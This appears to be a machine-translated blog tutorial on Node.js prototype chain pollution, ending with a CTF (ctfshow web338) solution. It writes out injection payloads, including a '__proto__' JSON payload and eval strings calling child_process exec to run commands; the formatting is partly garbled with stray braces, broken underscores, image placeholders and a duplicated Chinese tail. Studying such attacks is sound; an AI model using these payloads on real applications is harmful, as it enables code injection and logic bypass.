nodejs prototype chain pollution basics

foreword

What is Prototype Chain Pollution

Prototype chain pollution is an injection attack against the JavaScript runtime. Through prototype chain pollution, an attacker may control the default values ​​of object properties. This allows an attacker to tamper with the application's logic and possibly cause a denial of service, or in extreme cases, remote code execution.

One of the more well-known prototype chain pollution vulnerabilities is that in early 2019,
security researchers at Snyk revealed a serious vulnerability in the popular JavaScript library-Lodash, which allowed hackers to attack multiple web applications.

Vulnerability details: https://security.snyk.io/vuln/SNYK-JS-LODASH-450202

prototype

For developers who have used class-based languages ​​​​such as Java or C++, JavaScript is really confusing-JavaScript is dynamic and does not provide a class implementation itself. Even though the class keyword was introduced in ES2015/ES6, that is just syntactic sugar, JavaScript is still prototype-based.
When it comes to inheritance, JavaScript has only one structure: objects. Each instance object (object) has a private attribute (called _proto_) pointing to the prototype object of its constructor (prototype). The prototype object also has its own prototype object (_ proto ), layer by layer until the prototype object of an object is null. By definition, null has no prototype and acts as the last link in this prototype chain.
Almost all objects in JavaScript are instances of object at the top of the prototype chain. Although this kind of prototypal inheritance is often considered one of JavaScript's weaknesses, the prototypal inheritance model itself is actually stronger than the classical model. For example, it is quite simple to build a classic model on top of a prototype model.

function Son(){
    
    }
var son = new Son();
console.log(Son.prototype)
console.log(son.__proto__)
console.log(Son.prototype == son.__proto__)
debugger;

[External chain image transfer failed, the source site may have an anti-theft link mechanism, it is recommended to save the image and upload it directly (img-CkJ53NCC-1675675743505) (nodejs prototype chain pollution.assets/image-20230206144745642.png)]

inherit

Prototype is the basis of inheritance. In JavaScript, the prototype chain can implement the inheritance mechanism through the property of prototype

function Father(){
    
    
    this.first_name='Donald'
    this.last_name='Trump'
}
function Son(){
    
    
    this.first_name='Melania'
}

// console.log(Son.prototype)
Son.prototype = new Father()
let son = new Son
console.log(`Name:${
      
      son.first_name} ${
      
      son.last_name}`)

[External chain image transfer failed, the source site may have an anti-theft link mechanism, it is recommended to save the image and upload it directly (img-0bSfho7C-1675675743506) (nodejs prototype chain pollution.assets/image-20230206150051161.png)]

child_process module

child_process provides several ways to create child processes

  • Asynchronous mode: spawn, exec, execFile, fork
  • Synchronization method: spawnSync, execSync, execFileSync
    • After understanding the above synchronous and asynchronous ideas, it should not be difficult to understand the synchronous and asynchronous ways of creating child processes.
      When creating a process asynchronously, spawn is the basis, and other fork, exec, and execFile are generated based on spawn.
      To create a process synchronously, you can use child_process.spawnSync(), child_process.execSync(), and child_process.execFileSync(). The synchronous method will block the Node.js event loop and suspend the execution of any other code until the child process exits.

Sometimes it is used to execute commands child_processin the moduleexec

?eval=require('child_process').exec('ls');

Prototype Pollution

principle

function Father(){
    
    
    this.first_name='Donald'
    this.last_name='Trump'
}
function Son(){
    
    
    this.first_name='Melania'
}

// console.log(Son.prototype)
Son.prototype = new Father()
let son = new Son
son.__proto__['last_name']='xxh'
let newson = new Son
console.log(`Name:${
      
      newson.first_name} ${
      
      newson.last_name}`)

[External link image transfer failed, the source site may have an anti-leeching mechanism, it is recommended to save the image and upload it directly (img-XnWELmjM-1675675743507) (nodejs prototype chain pollution.assets/image-20230206150558765.png)]

Compared with the previous code discovery, it can be found that modifying the prototype property of son will affect another object with the same prototype. It is not difficult to see that we affect the properties of the prototype by setting the value of __proto__.

In those cases the prototype chain will be polluted

In practical applications, under what circumstances may there be situations where the prototype chain can be modified by an attacker?
Think about it, under what circumstances can we set the value of _proto_? In fact, just look for the operation that can control the "key name" of the array (object):

  • object merge
  • Object clone (in fact, the kernel is to merge the object to be operated into an empty object). Taking the object merge as an example, a simple merge function:
function merge(target,source) {
    
    
    for(let key in source) {
    
    
        if(key in source && key in target) {
    
    
            merge(target[key],source[key])
        }else{
    
    
            target[key]=source[key]
        }
    }
}

Try it with code

function merge(target,source) {
    
    
    for(let key in source) {
    
    
        if(key in source && key in target) {
    
    
            merge(target[key],source[key])
        }else{
    
    
            target[key]=source[key]
        }
    }
}
let o1 = {
    
    }
let o2 = {
    
    a:1,"__proto__":{
    
    b:2}}
merge(o1,o2)
console.log(o1.a, o1.b)

o3 = {
    
    }
console.log(o3.b)

[External chain image transfer failed, the source site may have an anti-leeching mechanism, it is recommended to save the image and upload it directly (img-zz6eMbEm-1675675743508) (nodejs prototype chain pollution.assets/image-20230206160938311.png)]

This is because, in the process of creating o2 with JavaScript (let o2 = fa: 1," proto ":(b:2l}), _proto_ already represents the prototype of o2, and you can traverse all the key names of o2 at this time. What you get is [a,b], _proto_ is not a key, and naturally the prototype of Object will not be modified.

can be changed to

function merge(target,source) {
    
    
    for(let key in source) {
    
    
        if(key in source && key in target) {
    
    
            merge(target[key],source[key])
        }else{
    
    
            target[key]=source[key]
        }
    }
}
let o1 = {
    
    }
let o2 = JSON.parse('{"a":1,"__proto__":{"b":2}}')
merge(o1,o2)
console.log(o1.a, o1.b)

o3 = {
    
    }
console.log(o3.b)

[External link image transfer failed, the source site may have an anti-leeching mechanism, it is recommended to save the image and upload it directly (img-sdGKwaMn-1675675743508) (nodejs prototype chain pollution.assets/image-20230206161246015.png)]

It can be seen that the newly created o3 object also has the b attribute, indicating that the Object has been polluted: this is because, in the case of JSON parsing, -_proto__ will be considered a real "key name" instead of a "prototype". So this key will exist when traversing o2.

rce caused by prototype chain pollution

The principle is the same as before, that is, under the premise of prototype chain pollution, we can control the members of the base class and assign a string of malicious codes, thus causing code injection.

let foo = {
    
    bar: 1}
foo._proto__.bar = 'require(\'child_process\').execSync(\'calc\');'

let zoo = {
    
    }

eval(zoo.bar)

combat

ctfshowweb338

Directly gave the source code and found the login route

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
    
    
  res.type('html');
  var flag='flag_here';
  var secert = {
    
    };
  var sess = req.session;
  let user = {
    
    };
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    
    
    res.end(flag);
  }else{
    
    
    return res.json({
    
    ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

module.exports = router;

We need to set a ctfhsow attribute in the secert to make it equal to 36dboy, look at the copy function

[External link image transfer failed, the source site may have an anti-theft link mechanism, it is recommended to save the image and upload it directly (img-dtBPF7wx-1675675743509) (nodejs prototype chain pollution.assets/image-20230206172515547.png)]

It is very similar to the merge function we mentioned above, using the prototype chain pollution to add the ctfshow attribute to the object

payload:{"__proto__":{"ctfshow":"36dboy"}}

exports = router;


我们要把secert中设一个ctfhsow属性让它等于36dboy,看一下copy函数

[外链图片转存中...(img-dtBPF7wx-1675675743509)]

和我们上面说的merge函数非常相似,利用原型链污染,给object添加ctfshow属性

payload:`{"__proto__":{"ctfshow":"36dboy"}}`

![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zqzt3wSP-1675675743509)(nodejs原型链污染.assets/image-20230206172728848.png)\]](https://img-blog.csdnimg.cn/bbd97194d0504594a2f6a15c4235c624.png)

Guess you like

Origin blog.csdn.net/qq_63928796/article/details/128905360
Recommended